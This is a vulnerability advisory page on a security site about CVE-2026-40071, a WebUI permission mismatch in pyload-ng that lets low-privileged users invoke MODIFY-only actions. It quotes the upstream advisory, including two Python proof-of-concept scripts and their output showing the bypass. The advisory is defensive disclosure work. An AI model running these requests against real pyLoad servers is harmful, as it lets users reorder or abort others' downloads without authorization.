HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 40071 pyload ng has a webui json permission mismatch
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.4CVE-2026-40071GHSA-RFGH-63MG-8PWM

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actionsCVE-2026-40071

Answer in brief

CVE-2026-40071 records a Medium severity (CVSS 5.4) vulnerability in pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions. The current sources do not mark it as known exploited. The current feed maps pyload-ng (pip), pyload-ng (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 8, 2026Updated Oct 26, 2026Source checked Oct 26, 2026First seen by HOL Oct 26, 2026Material review Oct 26, 2026
Upstream Advisory

Record context

Vulnerability class
Privilege Escalation
EPSS
Not reported
CWE IDs
CWE-285, CWE-863
Source
GitHub Security Advisories
Source checked
Oct 26, 2026
References
7 linked sources
Open source record

Key facts

Risk
Medium · CVSS 5.4
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.4. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps pyload-ng (pip), pyload-ng (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
pyload-ngpip<0.5.0b3.dev970.5.0b3.dev97
pyload-ngpypi>=0 <0.5.0b3.dev970.5.0b3.dev97

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for pyload-ng, pyload-ng.
  2. 2Review the reported fix. Update pyload-ng to 0.5.0b3.dev97; pyload-ng to 0.5.0b3.dev97 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 26, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 26, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model. Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` ### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`) But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls. ### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7` PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'attacker' def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos))) def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos))) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD) r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1}) print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ``` PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'u' def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids)) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE) r = c.post('/json/abort_link', json={'link_id': 999}) print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ``` ### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model. Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`. Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Burrito: Unauthenticated webhooks trigger unauthorized Terraform plans when webhookSecret is unsetAlso CWE-863
  • DeepSeek Harness Browser Auth browser-auth.ts improper authorizationAlso CWE-285
  • Bdtask Garage 24 Garage Management Software Backend improper authorizationAlso CWE-285
  • Team admin can escalate a team member's permissions via the team member roles endpointAlso CWE-863